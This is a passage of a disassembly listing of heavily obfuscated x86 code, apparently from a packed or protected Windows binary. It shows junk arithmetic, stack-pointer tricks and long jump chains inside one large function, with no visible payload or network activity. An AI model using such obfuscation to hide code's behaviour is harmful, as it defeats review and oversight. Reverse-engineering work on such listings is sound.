loc_59182B ; --------------------------------------------------------------------------- loc_59EB43: ; CODE XREF: sub_580566+1F13Dj mov eax, 45776661h and eax, 0C10214h push eax not [esp-3Eh+arg_34+2] jmp loc_5A595A ; --------------------------------------------------------------------------- loc_59EB56: ; CODE XREF: sub_580566+24A1Dj add bh, 2Bh jmp loc_5A0C26 ; --------------------------------------------------------------------------- loc_59EB5E: ; CODE XREF: sub_580566+19227j sub eax, esi pop esi add ecx, eax mov eax, [esp-38h+arg_30] add esp, 4 xor ecx, [esp-3Ch+arg_34] xor [esp-3Ch+arg_34], ecx xor ecx, [esp-3Ch+arg_34] mov esp, [esp-3Ch+arg_34] mov dx, word ptr [esp-3Ch+arg_34] sub esp, 4 mov [esp-38h+arg_30], ecx jmp loc_59BB1E ; --------------------------------------------------------------------------- loc_59EB87: ; CODE XREF: sub_580566+1FF19j pop ebx add [esp-3Ch+arg_38], esi push edx jmp loc_59F06C ; --------------------------------------------------------------------------- loc_59EB92: ; CODE XREF: sub_580566+19710j add esi, edx pop edx add ecx, esi pop esi add ecx, 2 xchg ecx, [esp-2Eh+arg_24+2] mov esp, [esp-2Eh+arg_24+2] sub esp, 2 jmp loc_5A3C69 ; --------------------------------------------------------------------------- loc_59EBA9: ; CODE XREF: sub_580566+227E3j mov bh, 43h jmp loc_595B14 ; --------------------------------------------------------------------------- loc_59EBB0: ; CODE XREF: sub_580566+10EDCj push edi mov edi, 771D6689h dec edi shr edi, 1 push ebx mov ebx, 0CEABA86Fh sub edi, ebx pop ebx mov ebx, edi jmp loc_5A0AED ; --------------------------------------------------------------------------- loc_59EBC9: ; CODE XREF: sub_580566+243E4j push eax mov eax, 4D37189h jmp loc_5A0DBA ; --------------------------------------------------------------------------- loc_59EBD4: ; CODE XREF: sub_580566+22272j push 3F66h mov [esp-1Eh+arg_16], esp push ebp jmp loc_598F30 ; --------------------------------------------------------------------------- loc_59EBE2: ; CODE XREF: sub_580566+1854Cj add ebp, 4 add ebp, 4 xchg ebp, [esp-1Ch+arg_12+2] pop esp add esp, 4 push edx jmp loc_5A2EC8 ; --------------------------------------------------------------------------- loc_59EBFE: ; CODE XREF: sub_580566+122F8j mov ecx, 9666A8Fh or ecx, 39250FF3h shr ecx, 4 neg ecx sub ecx, 69433860h sub ecx, 9326509Dh sub ebp, 4E3F7ED5h add ebp, ecx add ebp, 4E3F7ED5h pop ecx jmp loc_593CF1 ; --------------------------------------------------------------------------- loc_59EC2E: ; CODE XREF: sub_580566+1702Aj mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp-46h+arg_3C+2] xor [esp-46h+arg_3C+2], esi xor esi, [esp-46h+arg_3C+2] pop esp mov [esp-4Ah+arg_40+2], esi push 6D838824h push [esp-46h+arg_3C+2] pop esi add esp, 4 sub eax, 5CC91BF0h add eax, 2C247E9Ah sub eax, esi sub eax, 2C247E9Ah push ecx jmp loc_597770 ; --------------------------------------------------------------------------- loc_59EC6F: ; CODE XREF: sub_580566+255C8j pop edx push [esp-4Ah+arg_40+2] pop eax add esp, 4 jmp loc_5A2FDF ; --------------------------------------------------------------------------- loc_59EC7C: ; CODE XREF: sub_580566+19CA8j add edx, 4 sub edx, 4 jmp loc_59D37A ; --------------------------------------------------------------------------- mov ax, word ptr [esp-44h+arg_3C] jmp loc_59EF0E ; --------------------------------------------------------------------------- loc_59EC96: ; CODE XREF: sub_580566+216C8j pop edx push [esp-48h+arg_40] jmp loc_5A3D5B ; --------------------------------------------------------------------------- loc_59EC9F: ; CODE XREF: sub_580566+13C37j pop esp push 2AE5h mov [esp-18h+arg_E+2], ebp push esi push edx jmp loc_5915B1 ; --------------------------------------------------------------------------- loc_59ECAF: ; CODE XREF: sub_580566+184F1j mov esp, [esp-4Ah+arg_40+2] sub esp, 4 mov [esp-46h+arg_3C+2], ecx mov cl, 55h push 0A24h mov [esp-42h+arg_38+2], ebx push edx mov dh, 43h sub esp, 4 mov [esp-3Ah+arg_30+2], ebx push ecx mov ch, 68h mov bl, ch pop ecx jmp loc_5929FC ; --------------------------------------------------------------------------- loc_59ECD9: ; CODE XREF: sub_580566+17B22j sub eax, 3A1C5722h pop edx sub edi, 9854006h add edi, 6EBF340Eh sub edi, eax sub edi, 6EBF340Eh add edi, 9854006h mov eax, [esp-58h+arg_4E+2] jmp loc_5A006B ; --------------------------------------------------------------------------- loc_59ED01: ; CODE XREF: sub_580566+11276j mov ebx, 0F9CBFC6Dh add ebp, 61935E13h add ebp, ebx sub ebp, 61935E13h pop ebx jmp loc_5A035E ; --------------------------------------------------------------------------- loc_59ED1A: ; CODE XREF: sub_580566+1B4DEj mov si, 522Eh push di mov di, 3882h jmp loc_5943DE ; --------------------------------------------------------------------------- loc_59ED29: ; CODE XREF: sub_580566+20C50j add edx, edi pop edi push ebx mov ebx, 2 sub edx, 46B557A6h add edx, 32076E9h add edx, 0EF14FB4h sub edx, ebx sub edx, 0EF14FB4h push eax mov eax, 32076E9h sub edx, eax pop eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-30h+arg_28] pop esp jmp loc_594AA6 ; --------------------------------------------------------------------------- loc_59ED6A: ; CODE XREF: sub_580566+10B1Aj mov ebp, esi mov esi, [esp-32h+arg_28+2] add esp, 4 add edi, ebp pop ebp push esi mov esi, esp push ebp mov ebp, 6BED3636h sub ebp, 24DE2B61h jmp loc_59FA85 ; --------------------------------------------------------------------------- loc_59ED89: ; CODE XREF: sub_580566+178D1j sub al, 34h add al, 0 sub al, bl sub al, 0 add al, 34h jmp loc_5A3CE5 ; --------------------------------------------------------------------------- loc_59ED98: ; CODE XREF: sub_580566+1AC53j add ebp, eax sub ebp, 156C5426h jmp loc_5A5446 ; --------------------------------------------------------------------------- loc_59EDA5: ; CODE XREF: sub_580566+17A17j or ecx, 8B56E88h jmp loc_59ABE1 ; --------------------------------------------------------------------------- loc_59EDB0: ; CODE XREF: sub_580566+203E2j pop esp push eax mov eax, 4 add ecx, eax mov eax, [esp-38h+arg_30] add esp, 4 add ecx, 4 jmp loc_5A0EB0 ; --------------------------------------------------------------------------- loc_59EDCD: ; CODE XREF: sub_580566+14D2Cj xor esi, 0AA356000h or [edi+1Ch], esi pop esi jmp loc_593268 ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_59A49D ; --------------------------------------------------------------------------- loc_59EDE4: ; CODE XREF: sub_580566+1AF3Ej and eax, esi jmp loc_59814B ; --------------------------------------------------------------------------- loc_59EDEB: ; CODE XREF: sub_580566+21387j add edx, eax push [esp-48h+arg_40] jmp loc_5A1693 ; --------------------------------------------------------------------------- loc_59EDF5: ; CODE XREF: sub_580566+1064Aj push esp push [esp-4Ah+arg_40+2] push [esp-46h+arg_3C+2] pop ebp push edx mov edx, esp jmp loc_5A5315 ; --------------------------------------------------------------------------- loc_59EE05: ; CODE XREF: sub_580566+23BD2j mov [esp-42h+arg_38+2], ebx mov ebx, 4 sub esi, ebx jmp loc_595A36 ; --------------------------------------------------------------------------- loc_59EE14: ; CODE XREF: sub_580566+15F84j mov [esp-44h+arg_3C], esp add [esp-44h+arg_3C], 4 pop edi push ecx mov ecx, 33942D17h xor ecx, 33942D13h add edi, 3C6705E3h add edi, ecx sub edi, 3C6705E3h mov ecx, [esp-44h+arg_3C] add esp, 4 add edi, 4 jmp loc_599670 ; --------------------------------------------------------------------------- loc_59EE47: ; CODE XREF: sub_580566+1F55Dj jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59EE4C: ; CODE XREF: sub_580566+13BA3j pop esp pop [esp-3Eh+arg_34+2] mov edx, [esp-42h+arg_38+2] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5996D3 ; --------------------------------------------------------------------------- loc_59EE65: ; CODE XREF: sub_580566+1D272j mov esi, esp jmp loc_5946A1 ; --------------------------------------------------------------------------- loc_59EE6C: ; CODE XREF: sub_580566+1226Fj push eax mov eax, 10F261A7h add eax, 683DDA5h or esi, eax pop eax jmp loc_593D9E ; --------------------------------------------------------------------------- loc_59EE7F: ; CODE XREF: sub_580566+11A6Fj push small 6BDCh mov word ptr [esp-3Eh+arg_34+2], dx push ebx mov ebx, esp push ecx mov ecx, 69034F3Ah inc ecx add ecx, 96FCB0C9h add ebx, ecx jmp loc_59443F ; --------------------------------------------------------------------------- loc_59EE9E: ; CODE XREF: sub_580566+13CD9j add edx, 1FE84E49h pop eax inc edx push 3B5Dh jmp loc_598957 ; --------------------------------------------------------------------------- loc_59EEB0: ; CODE XREF: sub_580566+212CAj xchg eax, edi dec edi shl edi, 2 sub edi, 90AA16Ch inc edi and edi, 373953A3h and edi, 58F67B10h jmp loc_5913A1 ; --------------------------------------------------------------------------- loc_59EECD: ; CODE XREF: sub_580566+2135Aj add edi, 4FFC2667h dec edi shl edi, 6 add edi, 9AC8F268h sub eax, edi pop edi add esi, eax mov eax, [esp-56h+arg_4E] push eax push esp pop eax add eax, 4 jmp loc_5A50B3 ; --------------------------------------------------------------------------- loc_59EEF2: ; CODE XREF: sub_580566+1EEB5j push [esp-52h+arg_48+2] pop edx add esp, 4 jmp loc_599F63 ; --------------------------------------------------------------------------- loc_59EF01: ; CODE XREF: sub_580566+15EABj inc eax sub eax, 0F7A95E6Fh mov esi, eax jmp loc_5A58EC ; --------------------------------------------------------------------------- loc_59EF0E: ; CODE XREF: sub_580566+1E72Bj push ebp mov ebp, esp jmp loc_59157D ; --------------------------------------------------------------------------- loc_59EF16: ; CODE XREF: sub_580566+22ED7j sub ebx, edi pop edi push ebx add [esp-40h+arg_38], 4E100F11h pop edi sub edi, 4E100F11h jmp loc_597E73 ; --------------------------------------------------------------------------- loc_59EF2D: ; CODE XREF: sub_580566+1E4D5j mov ebp, 45CB145Bh xor ebp, 2192243h push ebp jmp loc_5A03EB ; --------------------------------------------------------------------------- loc_59EF3E: ; CODE XREF: sub_580566+1BEA3j add esp, 4 sub edi, 4 jmp loc_5969E2 ; --------------------------------------------------------------------------- loc_59EF4C: ; CODE XREF: sub_580566+21D2Dj mov [esp-44h+arg_3C], ebp mov ebp, 4 add [esp-44h+arg_40], ebp jmp loc_5A4155 ; --------------------------------------------------------------------------- loc_59EF5D: ; CODE XREF: sub_580566+2331Cj push ecx mov ecx, 64E0083Bh sub ecx, 0A73309A0h xor ebp, ecx pop ecx sub edx, 38F97ED1h jmp loc_59DA77 ; --------------------------------------------------------------------------- loc_59EF77: ; CODE XREF: sub_580566+1BB62j xor edx, 718C07A9h or edx, 59C463BDh jmp loc_59FECB ; --------------------------------------------------------------------------- loc_59EF88: ; CODE XREF: sub_580566+1775Aj add esp, 2 sub al, cl push edx mov dh, 0C4h jmp loc_59E704 ; --------------------------------------------------------------------------- loc_59EF98: ; CODE XREF: sub_580566+18EF9j pop edi add edx, ebp mov ebp, [esp-48h+arg_40] jmp loc_591898 ; --------------------------------------------------------------------------- loc_59EFA3: ; CODE XREF: sub_580566+1ECA9j pop ebx add al, 9Eh sub al, cl sub al, 9Eh jmp loc_59A466 ; --------------------------------------------------------------------------- loc_59EFAF: ; CODE XREF: sub_580566+1D3C3j add esp, 4 push ecx mov ecx, 28C834CEh add edx, ecx pop ecx jmp loc_598EC7 ; --------------------------------------------------------------------------- loc_59EFC3: ; CODE XREF: sub_580566+20932j mov edi, 49C014D5h sub eax, 49117951h sub eax, edi add eax, 49117951h push [esp-30h+arg_28] pop edi add esp, 4 jmp loc_5959E4 ; --------------------------------------------------------------------------- loc_59EFE0: ; CODE XREF: sub_580566+16525j pop edi jmp loc_5A0DF9 ; --------------------------------------------------------------------------- loc_59EFE6: ; CODE XREF: sub_580566+1923Bj sub [esp-2Ch+arg_24], 3CC7028Bh mov esi, [esp-2Ch+arg_24] add esp, 4 push edi mov edi, 540B1A96h neg edi add edi, 90D21D21h add esi, edi jmp loc_59A221 ; --------------------------------------------------------------------------- loc_59F00B: ; CODE XREF: sub_580566+25474j mov eax, esp jmp loc_59D390 ; --------------------------------------------------------------------------- loc_59F012: ; CODE XREF: sub_580566+10F50j pop edi add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-2Ah+arg_20+2] pop esp jmp loc_59AE1A ; --------------------------------------------------------------------------- loc_59F02E: ; CODE XREF: sub_580566+234B1j shr eax, 8 neg eax sub eax, 0FDFFADECh jmp loc_59D3C2 ; --------------------------------------------------------------------------- loc_59F03D: ; CODE XREF: sub_580566+1C33Fj mov ebx, 5EFC402Ch sub ebx, 767443A7h push eax mov eax, 5D5126Ch not eax and eax, 481A3CE1h jmp loc_5912AA ; --------------------------------------------------------------------------- loc_59F05A: ; CODE XREF: sub_580566+10B9Cj sub ebp, esi mov esi, [esp-40h+arg_38] push eax mov eax, esp add eax, 4 jmp loc_59F268 ; --------------------------------------------------------------------------- loc_59F06C: ; CODE XREF: sub_580566+1E627j mov edx, 344A0555h add [esp-38h+arg_38], edx pop edx jmp loc_59FE9F ; --------------------------------------------------------------------------- loc_59F07B: ; CODE XREF: sub_580566+1AB02j push eax jmp loc_5A3FEE ; --------------------------------------------------------------------------- loc_59F081: ; CODE XREF: sub_580566+11AABj shr esi, 3 sub esi, 4A9B4645h xor esi, 0F8A54F2Eh add ecx, esi pop esi mov edx, [esp-44h+arg_3C] push edi mov edi, esp jmp loc_596BDC ; --------------------------------------------------------------------------- loc_59F09E: ; CODE XREF: sub_580566+1E4DBj push [esp-42h+arg_3C+2] pop ebx pop [esp-42h+arg_38+2] mov esp, [esp-46h+arg_3C+2] add esp, 4 jmp loc_592DCB ; --------------------------------------------------------------------------- loc_59F0B4: ; CODE XREF: sub_580566+24B93j sub ebx, 26C31072h jmp loc_5970AF ; --------------------------------------------------------------------------- loc_59F0BF: ; CODE XREF: sub_580566+21460j and edx, 295D5613h shl edx, 3 sub edx, 427FFFFCh mov ecx, edx pop edx sub eax, ecx pop ecx jmp loc_593816 ; --------------------------------------------------------------------------- loc_59F0D9: ; CODE XREF: sub_580566+14BAFj push eax push 7FBFh mov [esp-34h+arg_2C], ebp jmp loc_597DAF ; --------------------------------------------------------------------------- loc_59F0E7: ; CODE XREF: sub_580566+18346j mov eax, edi mov edi, [esp-2Ah+arg_20+2] push ebp jmp loc_5A4269 ; --------------------------------------------------------------------------- mov cx, [esp+0] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 push 3514h mov [esp-1Eh+arg_16], edx push ebp push 46ED310Ah mov ebp, [esp-16h+arg_E] add esp, 4 push ecx jmp loc_596CB4 ; --------------------------------------------------------------------------- loc_59F121: ; CODE XREF: sub_580566+208E9j push ebx mov ebx, 32011047h jmp loc_5945DA ; --------------------------------------------------------------------------- loc_59F12C: ; CODE XREF: sub_580566+20102j add esi, 257D00A3h shr esi, 4 not esi push 7D87h mov [esp-0Eh+arg_8+2], eax push ebp mov ebp, 79CD1090h mov eax, ebp pop ebp shr eax, 4 xor eax, 0E77A2E5h add esi, eax pop eax sub esp, 4 jmp loc_5931FE ; --------------------------------------------------------------------------- loc_59F15E: ; CODE XREF: sub_580566+1A9AFj push 35EEh jmp loc_596E6E ; --------------------------------------------------------------------------- loc_59F168: ; CODE XREF: sub_580566+25195j mov edx, [esp-24h+arg_1A+2] add esp, 4 pop [esp-28h+arg_20] jmp loc_598BDD ; --------------------------------------------------------------------------- loc_59F176: ; CODE XREF: sub_580566+180E4j shr eax, 1 jmp loc_59C759 ; --------------------------------------------------------------------------- loc_59F17D: ; CODE XREF: sub_580566+1EDFBj sub ah, 57h jmp loc_590E9C ; --------------------------------------------------------------------------- loc_59F185: ; CODE XREF: sub_580566+11681j mov ecx, 604E395Bh mov edx, 19BF0388h xor edx, ecx pop ecx jmp loc_5A20E0 ; --------------------------------------------------------------------------- loc_59F197: ; CODE XREF: sub_580566+14891j mov [esp-24h+arg_1A+2], eax push esi jmp loc_5A2D4E ; --------------------------------------------------------------------------- loc_59F1A0: ; CODE XREF: sub_580566+2350Aj push edi mov edi, 0B8252Eh not edi sub edi, 1 not edi xor edi, 49E044C9h xor edi, 57B4477Fh push edx mov edx, 6BBE0950h neg edx not edx jmp loc_5A1448 ; --------------------------------------------------------------------------- loc_59F1CB: ; CODE XREF: sub_580566+1337Ej mov [esp-30h+arg_28], edx mov edx, 37DA083Dh or edx, 439446A4h sub edx, 0FFFFFFFFh jmp loc_5A1E38 ; --------------------------------------------------------------------------- loc_59F1E1: ; CODE XREF: sub_580566+2561Aj mov edx, 4A720F40h jmp loc_5972BE ; --------------------------------------------------------------------------- loc_59F1EB: ; CODE XREF: sub_580566+1BAB8j sub ebx, 153B7BDAh pop esi sub esp, 4 jmp loc_598DB5 ; --------------------------------------------------------------------------- loc_59F1FD: ; CODE XREF: sub_580566+21CBBj mov word ptr [esp-3Eh+arg_34+2], cx mov cl, 1Fh add bl, cl pop cx sub cl, 81h sub cl, bl add cl, 81h jmp loc_59EFA3 ; --------------------------------------------------------------------------- loc_59F214: ; CODE XREF: sub_580566+23571j mov ebp, 59BE3114h add edx, ebp pop ebp push edi mov edi, 3F4E3A50h add edx, edi mov edi, [esp-40h+arg_38] add esp, 4 pop edi sub esp, 4 mov [esp-44h+arg_3C], edx push [esp-44h+arg_40] pop edx pop [esp-44h+arg_3C] pop esp push [esp-4Ch+arg_44] push [esp-48h+arg_40] push [esp-44h+arg_3C] mov ecx, [esp-40h+arg_38] add esp, 4 add esp, 4 push 4470h mov [esp-44h+arg_3C], ebp push 5093h push esp pop [esp-3Ch+arg_34] jmp loc_59F90C ; --------------------------------------------------------------------------- loc_59F268: ; CODE XREF: sub_580566+1EB01j add eax, 4 xchg eax, [esp-3Ch+arg_34] jmp loc_5925EE ; --------------------------------------------------------------------------- loc_59F273: ; CODE XREF: sub_580566+1EE5Aj push esi push ebp mov ebp, 293C7A2Ch jmp loc_59BDD3 ; --------------------------------------------------------------------------- loc_59F27F: ; CODE XREF: sub_580566+16198j xor [esp-3Ch+arg_34], ebx xor ebx, [esp-3Ch+arg_34] jmp loc_5A1B32 ; --------------------------------------------------------------------------- loc_59F28A: ; CODE XREF: sub_580566+23401j mov eax, 393B0CE2h jmp loc_5A23A0 ; --------------------------------------------------------------------------- loc_59F294: ; CODE XREF: sub_580566+24C96j push ebx mov ebx, 0 add ebx, 389E521Bh add ebx, ecx sub ebx, 389E521Bh push ecx mov ecx, 0 add ecx, ebx mov eax, [ecx] pop ecx pop ebx push [esp-3Ch+arg_34] mov ecx, [esp-38h+arg_30] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push [esp-30h+arg_2C] pop ebx pop [esp-30h+arg_28] mov esp, [esp-34h+arg_2C] add esp, 4 push dword ptr [edi+eax*4] mov eax, [esp-34h+arg_2C] push edi push esp mov edi, [esp-2Ch+arg_24] sub esp, 4 mov [esp-28h+arg_20], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_591FBC ; --------------------------------------------------------------------------- loc_59F2FC: ; DATA XREF: sub_580566+104A6o mov ax, word ptr [esp-28h+arg_20] push 5BD6h jmp loc_59AC9F ; --------------------------------------------------------------------------- loc_59F30A: ; CODE XREF: sub_580566+1682Aj mov dl, 20h or dl, 0DEh push 437Ch mov [esp-12h+arg_A], eax mov ah, dl jmp loc_59E5B0 ; --------------------------------------------------------------------------- loc_59F31E: ; CODE XREF: sub_580566+14DFAj xchg edi, [esp-42h+arg_38+2] pop esp mov [esp-46h+arg_3C+2], ebp mov ebp, 434409F8h mov ecx, 483857F8h jmp loc_5A5180 ; --------------------------------------------------------------------------- loc_59F334: ; CODE XREF: sub_580566+17FBDj sub edx, 70EC596Ah xchg edx, ecx pop edx add ecx, 37B674FCh jmp loc_594E45 ; --------------------------------------------------------------------------- loc_59F348: ; CODE XREF: sub_580566+19ED4j or ebp, 1D3B6E77h jmp loc_59A8AC ; --------------------------------------------------------------------------- loc_59F353: ; CODE XREF: sub_580566+1A490j inc ch push eax mov ah, 0C8h add ah, 27h xor ah, 46h shr ah, 8 jmp loc_59F17D ; --------------------------------------------------------------------------- loc_59F366: ; CODE XREF: sub_580566+18AAEj mov [esp-12h+arg_A], ebx push eax push 55AB1BDAh pop eax jmp loc_5A0F4B ; --------------------------------------------------------------------------- loc_59F375: ; CODE XREF: sub_580566+1E3E8j add ecx, 4 xchg ecx, [esp-46h+arg_3C+2] pop esp push edx push 11921031h pop edx or ebp, edx pop edx inc ebp xor ebp, 367F1DFBh jmp loc_592570 ; --------------------------------------------------------------------------- loc_59F395: ; CODE XREF: sub_580566+1427Fj pop edx push eax mov eax, esp add eax, 4 push edi mov edi, 537A4DA3h sub edi, 0FFFFFFFFh push eax mov eax, 0D367A2h jmp loc_5914D6 ; --------------------------------------------------------------------------- loc_59F3B5: ; CODE XREF: sub_580566+122B9j push esp jmp loc_59CCD0 ; --------------------------------------------------------------------------- loc_59F3BB: ; CODE XREF: sub_580566+1BC26j mov [esp-30h+arg_28], ecx mov ecx, esp jmp loc_59F273 ; --------------------------------------------------------------------------- loc_59F3C5: ; CODE XREF: sub_580566+1B4EFj xor [esp-3Ah+arg_30+2], ecx jmp loc_5A1237 ; --------------------------------------------------------------------------- loc_59F3CD: ; CODE XREF: sub_580566+11D57j push ebx mov bl, ch mov dl, bl mov ebx, [esp-3Ch+arg_34] add esp, 4 pop ecx add dl, 1 jmp loc_5991F8 ; --------------------------------------------------------------------------- loc_59F3E4: ; CODE XREF: sub_580566+11050j mov esi, edx jmp loc_593C81 ; --------------------------------------------------------------------------- loc_59F3EB: ; CODE XREF: sub_580566+24C89j pop ebx push ecx mov cl, 0E6h jmp loc_5A1785 ; --------------------------------------------------------------------------- loc_59F3F4: ; CODE XREF: sub_580566+24484j add ecx, 0B9781177h mov eax, ecx jmp loc_5A09E6 ; --------------------------------------------------------------------------- loc_59F401: ; CODE XREF: sub_580566+11116j push ebx mov ebx, 344A0555h jmp loc_5A047B ; --------------------------------------------------------------------------- loc_59F40C: ; CODE XREF: sub_580566+25268j push [esp-40h+arg_38] pop ebp add esp, 4 push edx jmp loc_5988E7 ; --------------------------------------------------------------------------- loc_59F419: ; CODE XREF: sub_580566+15577j sub ebp, edx jmp loc_59EEF2 ; --------------------------------------------------------------------------- loc_59F420: ; CODE XREF: sub_580566+151AAj add esp, 4 add esi, 4 push ebp mov ebp, 4 add esi, ebp jmp loc_59F619 ; --------------------------------------------------------------------------- loc_59F436: ; CODE XREF: sub_580566+1A7F1j mov edx, [esp-12h+arg_A] sub esp, 4 jmp loc_59E473 ; --------------------------------------------------------------------------- loc_59F444: ; CODE XREF: sub_580566+11A47j pop ebx jmp loc_5942E7 ; --------------------------------------------------------------------------- loc_59F44A: ; CODE XREF: sub_580566+13716j mov ax, word ptr [esp-38h+arg_30] jmp loc_59E014 ; --------------------------------------------------------------------------- loc_59F453: ; CODE XREF: sub_580566+1AB08j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-38h+arg_30] mov esp, [esp-38h+arg_30] mov [esp-38h+arg_30], edx push esp pop edx push eax mov eax, 721907C8h add eax, 8DE6F83Ch add edx, eax pop eax push ecx mov ecx, 640536F4h xor ecx, 5CD9037Bh not ecx xor ecx, 31CF74BBh sub ecx, 0F6ECBEC7h add edx, 0A962689h sub edx, ecx jmp loc_593879 ; --------------------------------------------------------------------------- loc_59F49E: ; CODE XREF: sub_580566+1A331j push eax mov eax, 6BD9655Eh or eax, 71144E61h not eax xor eax, 3BEE0F1Dh add eax, 5D90DEDBh xor ecx, eax pop eax xor ecx, 0B589BCBCh jmp loc_5A2D00 ; --------------------------------------------------------------------------- mov eax, [esp-40h+arg_38] push esi push esp pop esi sub esp, 4 jmp loc_59DD82 ; --------------------------------------------------------------------------- loc_59F4D4: ; CODE XREF: sub_580566+254A3j push ebx mov ebx, 201A0D77h jmp loc_5A0EC5 ; --------------------------------------------------------------------------- loc_59F4DF: ; CODE XREF: sub_580566+16C09j mov [esp-30h+arg_28], esp jmp loc_597C45 ; --------------------------------------------------------------------------- loc_59F4E7: ; CODE XREF: sub_580566+162F4j push ebp mov ebp, 1E1F2407h and ebp, 285522B5h xor ebp, 123D1B07h jmp loc_59EA6C ; --------------------------------------------------------------------------- loc_59F4FE: ; CODE XREF: sub_580566+2198Cj add edx, ecx jmp loc_59C23A ; --------------------------------------------------------------------------- loc_59F505: ; CODE XREF: sub_580566+1A425j push ebp push eax mov eax, 71C2065h mov ebp, eax pop eax shl ebp, 3 or ebp, 160650B7h jmp loc_594F95 ; --------------------------------------------------------------------------- loc_59F51D: ; CODE XREF: sub_580566+14727j xor bl, ch pop cx jmp loc_591791 ; --------------------------------------------------------------------------- loc_59F526: ; CODE XREF: sub_580566+23F2Fj add esp, 4 jmp loc_59ADCD ; --------------------------------------------------------------------------- loc_59F52E: ; CODE XREF: sub_580566+1256Cj mov ebx, esi mov esi, [esp-24h+arg_1A+2] jmp loc_595BAD ; --------------------------------------------------------------------------- loc_59F538: ; CODE XREF: sub_580566+198A5j push eax push ebx jmp loc_59AE38 ; --------------------------------------------------------------------------- loc_59F53F: ; CODE XREF: sub_580566+10EAAj push ebx mov ebx, 4C07E76h xor edx, ebx mov ebx, [esp-2Ah+arg_20+2] add esp, 4 jmp loc_598EB3 ; --------------------------------------------------------------------------- loc_59F552: ; CODE XREF: sub_580566+1A87Aj sub ebp, 26447CE9h push [esp-48h+arg_40] pop eax add esp, 4 push ebp pop dword ptr [edi+20h] jmp loc_5A5B8E ; --------------------------------------------------------------------------- loc_59F568: ; CODE XREF: sub_580566+1D709j mov fs:[edx], al jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59F570: ; CODE XREF: sub_580566+21F2Aj shl ebx, 8 or ebx, 346F06BFh shl ebx, 3 jmp loc_5A2BB9 ; --------------------------------------------------------------------------- loc_59F581: ; CODE XREF: sub_580566+2105Fj add eax, ecx mov ecx, [esp-2Ch+arg_24] add esp, 4 push [esp-30h+arg_28] push [esp-2Ch+arg_24] pop esi push ecx jmp loc_5A5731 ; --------------------------------------------------------------------------- loc_59F596: ; CODE XREF: sub_580566+158DCj sub [esp-56h+arg_52], 48906E4Ah add [esp-56h+arg_52], 1760DE9h jmp loc_5946C0 ; --------------------------------------------------------------------------- loc_59F5AB: ; CODE XREF: sub_580566+14F77j push ebx sub esp, 4 mov [esp-28h+arg_20], eax mov eax, 51FE19EBh push esi mov esi, 5F98547Fh shr esi, 2 not esi inc esi jmp loc_596009 ; --------------------------------------------------------------------------- loc_59F5C8: ; CODE XREF: sub_580566+15AD2j push ebx mov bl, ch mov dl, bl jmp loc_59B688 ; --------------------------------------------------------------------------- loc_59F5D2: ; CODE XREF: sub_580566+110E6j sub bl, al pop eax jmp loc_592F9B ; --------------------------------------------------------------------------- loc_59F5DA: ; CODE XREF: sub_580566+16F15j sub al, 0D8h sub al, dl add al, 0D8h push ebx mov bl, 0F1h shl bl, 7 inc bl add bl, 0B9h jmp loc_5A2AA0 ; --------------------------------------------------------------------------- loc_59F5F0: ; CODE XREF: sub_580566+1E5A6j push 72DA2265h mov edi, [esp-48h+arg_40] add esp, 4 jmp loc_591C61 ; --------------------------------------------------------------------------- loc_59F600: ; CODE XREF: sub_580566+11AA5j sub bh, 0B6h add al, bh pop ebx jmp loc_5A0118 ; --------------------------------------------------------------------------- loc_59F60B: ; CODE XREF: sub_580566+1B22Bj add edx, 0EFD6F30h mov edi, [esp-30h+arg_28] jmp loc_598AEA ; --------------------------------------------------------------------------- loc_59F619: ; CODE XREF: sub_580566+1EECBj pop ebp xor esi, [esp-36h+arg_2C+2] xor [esp-36h+arg_2C+2], esi xor esi, [esp-36h+arg_2C+2] jmp loc_591CE8 ; --------------------------------------------------------------------------- loc_59F628: ; CODE XREF: sub_580566+20A07j add [esp-36h+arg_34+2], edi pop edi pop eax jmp loc_59A9FB ; --------------------------------------------------------------------------- loc_59F633: ; CODE XREF: sub_580566+114DDj sub bl, 22h jmp loc_5A3E43 ; --------------------------------------------------------------------------- loc_59F63B: ; CODE XREF: sub_580566+1F2F5j add esi, 24936A51h add esi, edx sub esi, 24936A51h pop edx jmp loc_59E5F5 ; --------------------------------------------------------------------------- loc_59F64F: ; CODE XREF: sub_580566+20B4Cj mov ebp, 5B513A04h shr ebp, 3 jmp loc_59B0A5 ; --------------------------------------------------------------------------- loc_59F65C: ; CODE XREF: sub_580566+12577j add ebx, 4 xchg ebx, [esp-24h+arg_1A+2] mov esp, [esp-24h+arg_1A+2] retn ; --------------------------------------------------------------------------- jmp loc_5A2361 ; --------------------------------------------------------------------------- loc_59F66B: ; CODE XREF: sub_580566+1593Bj not [esp-46h+arg_3C+2] pop edx push edi mov edi, 488D5DF1h xor edx, edi pop edi add edx, 690F51E9h sub ecx, edx jmp loc_5915BB ; --------------------------------------------------------------------------- loc_59F685: ; CODE XREF: sub_580566+1A5B2j mov eax, [esp-40h+arg_38] add esp, 4 push 812h mov [esp-40h+arg_38], ebp jmp loc_5923BD ; --------------------------------------------------------------------------- loc_59F69B: ; CODE XREF: sub_580566+1FE80j add al, cl pop ecx pop ecx push ebx mov ebx, esp push eax jmp loc_59EB43 ; --------------------------------------------------------------------------- loc_59F6A8: ; CODE XREF: sub_580566+24B86j and ebx, 43D87E25h and ebx, 29EA0B17h sub ebx, 0EE56CBF6h jmp loc_59B79D ; --------------------------------------------------------------------------- loc_59F6BF: ; CODE XREF: sub_580566+21748j or esi, 17FC63D4h jmp loc_598383 ; --------------------------------------------------------------------------- loc_59F6CA: ; CODE XREF: sub_580566+25353j add [esp-40h+arg_38], 4 pop edi push ebp jmp loc_59C316 ; --------------------------------------------------------------------------- loc_59F6D8: ; CODE XREF: sub_580566+10808j mov ebx, [esp+0] push ecx jmp loc_59D2CA ; --------------------------------------------------------------------------- loc_59F6E1: ; CODE XREF: sub_580566+14D94j xor eax, 106938ACh add esi, eax jmp loc_5A160F ; --------------------------------------------------------------------------- 